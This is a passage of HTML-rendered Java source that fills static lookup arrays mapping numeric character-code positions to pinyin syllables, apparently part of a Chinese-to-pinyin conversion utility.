&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10764&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zheng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10587&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10544&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10533&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10519&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10331&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhua"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10329&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhuai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10328&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10322&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhuang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10315&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10309&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10307&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10296&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10281&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10274&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10270&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10262&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10260&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10256&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10254&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;private&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;static&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;int&lt;/span&gt;&lt;span&gt;[]&amp;nbsp;positionArray&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;new&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;int&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;396&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;static&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;395&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20319&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;394&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20317&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;393&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20304&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;392&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20295&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;391&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20292&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;390&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20283&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;389&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20265&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;388&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20257&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;387&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20242&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;386&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20230&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;385&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20051&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;384&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20036&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;383&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20032&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;382&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20026&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;381&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;20002&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;380&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19990&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;379&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19986&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;378&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19982&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;377&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19976&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;376&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19805&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;375&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19784&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;374&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19775&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;373&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19774&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;372&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19763&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;371&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19756&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;370&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19751&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;369&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19746&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;368&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19741&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;367&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19739&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
